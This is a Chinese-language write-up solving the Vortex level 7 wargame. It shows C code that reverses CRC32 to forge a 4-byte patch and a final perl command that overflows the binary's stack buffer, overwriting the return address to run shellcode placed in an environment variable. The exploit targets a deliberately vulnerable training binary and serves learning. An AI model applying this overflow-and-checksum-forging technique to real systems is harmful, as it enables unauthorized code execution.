这道题要求构造一个符合crc的输入来造成溢出。
关于CRC,这里有一篇详细的文章
为了reverse CRC,我们先找到所用的crc table在文件中的位置,然后将其dump出来:
$ hexdump -v -n 1024 -s 1504 vortex7 -e '"0x" 1/4 "%08x"","' | fold -b44
此外,我们还需要根据最高位字符来构造reverse table。用下面的代码构造并打印reverse table
intmain(intargc,char*argv[]){unsignedint*revTable=(unsignedint*)malloc(256*sizeof(unsignedint));size_ti;for(i=0;i<256;++i){unsignedintvalue=CRCTable[i];unsignedinttop=(value>>24);revTable[top]=i;}for(i=0;i<256;++i){printf("0x%02x,",revTable[i]);}return0;}
然后我们有下面的代码,他会得到4bytes的patch,当patch加在argv1之后时,新的CRC值会变为我们需要的
#include <stdio.h>#include <stdlib.h>#include <string.h>unsignedintCRCTable[]={0x00000000,0x77073096,0xee0e612c,0x990951ba,0x076dc419,0x706af48f,0xe963a535,0x9e6495a3,0x0edb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x01db7106,0x98d220bc,0xefd5102a,0x71b18589,0x06b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0x0f00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x086d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x03b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x04db2615,0x73dc1683,0xe3630b12,0x94643b84,0x0d6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0x0a00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x026d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x05005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0x0cb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0x0bdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d};unsignedintrevTable[]={0x00,0x41,0xc3,0x82,0x86,0xc7,0x45,0x04,0x4d,0x0c,0x8e,0xcf,0xcb,0x8a,0x08,0x49,0x9a,0xdb,0x59,0x18,0x1c,0x5d,0xdf,0x9e,0xd7,0x96,0x14,0x55,0x51,0x10,0x92,0xd3,0x75,0x34,0xb6,0xf7,0xf3,0xb2,0x30,0x71,0x38,0x79,0xfb,0xba,0xbe,0xff,0x7d,0x3c,0xef,0xae,0x2c,0x6d,0x69,0x28,0xaa,0xeb,0xa2,0xe3,0x61,0x20,0x24,0x65,0xe7,0xa6,0xea,0xab,0x29,0x68,0x6c,0x2d,0xaf,0xee,0xa7,0xe6,0x64,0x25,0x21,0x60,0xe2,0xa3,0x70,0x31,0xb3,0xf2,0xf6,0xb7,0x35,0x74,0x3d,0x7c,0xfe,0xbf,0xbb,0xfa,0x78,0x39,0x9f,0xde,0x5c,0x1d,0x19,0x58,0xda,0x9b,0xd2,0x93,0x11,0x50,0x54,0x15,0x97,0xd6,0x05,0x44,0xc6,0x87,0x83,0xc2,0x40,0x01,0x48,0x09,0x8b,0xca,0xce,0x8f,0x0d,0x4c,0x95,0xd4,0x56,0x17,0x13,0x52,0xd0,0x91,0xd8,0x99,0x1b,0x5a,0x5e,0x1f,0x9d,0xdc,0x0f,0x4e,0xcc,0x8d,0x89,0xc8,0x4a,0x0b,0x42,0x03,0x81,0xc0,0xc4,0x85,0x07,0x46,0xe0,0xa1,0x23,0x62,0x66,0x27,0xa5,0xe4,0xad,0xec,0x6e,0x2f,0x2b,0x6a,0xe8,0xa9,0x7a,0x3b,0xb9,0xf8,0xfc,0xbd,0x3f,0x7e,0x37,0x76,0xf4,0xb5,0xb1,0xf0,0x72,0x33,0x7f,0x3e,0xbc,0xfd,0xf9,0xb8,0x3a,0x7b,0x32,0x73,0xf1,0xb0,0xb4,0xf5,0x77,0x36,0xe5,0xa4,0x26,0x67,0x63,0x22,0xa0,0xe1,0xa8,0xe9,0x6b,0x2a,0x2e,0x6f,0xed,0xac,0x0a,0x4b,0xc9,0x88,0x8c,0xcd,0x4f,0x0e,0x47,0x06,0x84,0xc5,0xc1,0x80,0x02,0x43,0x90,0xd1,0x53,0x12,0x16,0x57,0xd5,0x94,0xdd,0x9c,0x1e,0x5f,0x5b,0x1a,0x98,0xd9};//start is the init CRC valueunsignedintcomputeCRC(unsignedintstart,unsignedchar*str,size_tlen){size_ti;for(i=0;i<len;++i){start=(start>>8)^(CRCTable[(0xff&(start^str[i]))]);}returnstart;}unsignedintreverseCRC(unsignedintstart,unsignedend){unsignedcharbuf[8];unsignedint*pos=buf;*pos=start;*(pos+1)=end;inti=0;for(i=0;i<4;++i){unsignedchartopByte=buf[7-i];unsignedintidx=revTable[topByte];unsignedintvalue=CRCTable[idx];pos=buf+4-i;*pos=(*pos)^value;buf[3-i]=buf[3-i]^idx;}pos=buf;return*pos;}intmain(intargc,char*argv[]){if(argc!=3){printf("usage: %s <string> <CRC>\n",argv[0]);return0;}size_tlen=strlen(argv[1]);char*cat=(char*)malloc(len+5);strncpy(cat,argv[1],len);//compute the current CRCunsignedintcurrent=computeCRC(0,argv[1],len);printf("current is 0x%08x\n",current);unsignedintdest=(unsignedint)strtoul(argv[2],NULL,16);printf("dest is 0x%08x\n",dest);//compute the patchunsignedintpatch=reverseCRC(current,dest);unsignedchar*patchChar=&patch;printf("patch is \\x%02x\\x%02x\\x%02x\\x%02x\n",patchChar[0],patchChar[1],patchChar[2],patchChar[3]);strncat(cat,patchChar,4);unsignedintnew=computeCRC(0,cat,len+4);printf("verify: new CRC is 0x%08x\n",new);return0;}
看反汇编,知道要覆盖完返回地址需要78bytes,在加上4bytes的patch共82bytes。将shellcode放到环境变量,得到其地址,然后可由上计算出patch。最后运行
$ /vortex/vortex7 `perl -e 'print "A"x74 . "\xf9\xd8\xff\xff" . "\x1c\xdd\x03\x32"'`